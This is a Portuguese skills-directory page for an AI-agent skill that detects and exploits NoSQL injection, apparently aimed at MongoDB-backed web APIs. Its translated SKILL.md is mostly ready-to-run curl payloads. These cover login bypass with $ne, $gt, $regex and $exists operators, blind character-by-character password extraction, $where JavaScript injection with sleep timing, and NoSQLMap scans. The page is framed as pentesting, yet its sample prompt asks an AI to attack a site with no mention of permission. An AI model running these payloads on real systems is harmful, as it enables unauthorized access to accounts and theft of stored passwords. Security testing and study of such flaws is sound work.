exploiting-nosql-injection-vulnerabilities
Ajuda seu agente a detectar e explorar vulnerabilidades de injeção NoSQL em bancos de dados como MongoDB.
O que ela faz
Esta ferramenta ajuda a encontrar e explorar falhas de segurança em bancos de dados NoSQL, como MongoDB. Ela permite testar se é possível acessar informações ou contornar logins sem permissão.
Quando usar
- ✓Ao testar a segurança de sites que usam bancos de dados NoSQL.
- ✓Quando você quer verificar se um sistema de login pode ser enganado.
- ✓Ao analisar APIs que recebem dados em formato JSON para consultas.
Exemplo do que pedir para a IA
“Tente encontrar falhas de segurança no site exemplo.com usando o banco de dados MongoDB.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta envia comandos especialmente criados para o banco de dados, explorando como ele interpreta certas instruções. Isso pode revelar se o sistema está vulnerável a acessos não autorizados ou vazamento de dados.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-nosql-injection-vulnerabilitiesOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Vulnerabilidades de Injeção NoSQL
Quando Usar
- Durante testes de penetração em aplicações web que utilizam bancos de dados NoSQL
- Ao testar mecanismos de autenticação suportados por MongoDB ou bancos de dados similares
- Ao avaliar APIs que aceitam entrada JSON para consultas ao banco de dados
- Durante a caça a bugs em aplicações com backends NoSQL
- Ao realizar revisão de código de segurança na construção de consultas ao banco de dados
Pré-requisitos
- Burp Suite Professional ou Community Edition com suporte a JSON
- Ferramenta NoSQLMap instalada (
pip install nosqlmapou do GitHub) - Compreensão dos operadores de consulta do MongoDB ($ne, $gt, $regex, $where, $exists)
- Aplicação alvo utilizando um banco de dados NoSQL (MongoDB, CouchDB, Cassandra)
- Proxy configurado para interceptação de tráfego HTTP
- Python 3.x para scripts de payload personalizados
Fluxo de Trabalho
Passo 1 — Identificar Pontos de Injeção NoSQL
# Look for JSON-based login forms or API endpoints
# Common indicators: application accepts JSON POST bodies, uses MongoDB
# Test with basic syntax-breaking characters
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin\"", "password": "test"}'
# Test for operator injection in query parameters
curl "http://target.com/api/users?username[$ne]=invalid"
# Check for error-based detection
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"query": {"$gt": ""}}'
Passo 2 — Realizar Bypass de Autenticação
# Basic authentication bypass with $ne operator
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'
# Bypass with $gt operator
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# Target specific user with regex
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": ".*"}}'
# Bypass using $exists operator
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$exists": true}, "password": {"$exists": true}}'
Passo 3 — Extrair Dados Usando Injeção Cega Baseada em Booleano
# Extract username character by character using $regex
# Test if first character of admin password is 'a'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": "^a"}}'
# Test if first two characters are 'ab'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": "^ab"}}'
# Enumerate usernames with regex
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'
Passo 4 — Explorar Injeção de JavaScript via $where
# JavaScript injection through $where operator
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "this.username == \"admin\""}'
# Time-based detection with sleep
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "sleep(5000) || this.username == \"admin\""}'
# Data exfiltration via $where with string comparison
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "this.password.match(/^a/) != null"}'
Passo 5 — Usar NoSQLMap para Testes Automatizados
# Clone and setup NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install
# Run NoSQLMap against target
python nosqlmap.py -u http://target.com/api/login \
--method POST \
--data '{"username":"test","password":"test"}'
# Alternative: use nosqli scanner
pip install nosqli
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'
Passo 6 — Testar Injeção de Parâmetros de URL
# Injeção baseada em parâmetros (requisições GET)
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
curl "http://target.com/api/users?username[$exists]=true"
# Injeção de array via parâmetros de URL
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"
# Injetar via cabeçalhos HTTP se processados pelo backend
…
Perguntas frequentes
O que são bancos de dados NoSQL?
São bancos de dados que armazenam informações de forma flexível, diferente dos bancos de dados tradicionais. Exemplos comuns são MongoDB e CouchDB.
O que é 'injeção NoSQL'?
É um tipo de ataque onde um invasor insere comandos maliciosos nos dados enviados ao banco de dados para obter acesso indevido ou extrair informações.
Preciso saber programar para usar isso?
É útil ter algum conhecimento sobre como os bancos de dados funcionam e sobre os comandos que eles entendem, mas a ferramenta automatiza muitas das etapas complexas.
Detalhes
Descrição original do autor
Detects and exploits NoSQL injection vulnerabilities in MongoDB, CouchDB, and similar databases to demonstrate authentication bypass, data extraction, and unauthorized access via crafted query operators. Use when pentesting APIs or web applications backed by NoSQL databases to test input validation and injection defenses.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5754
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC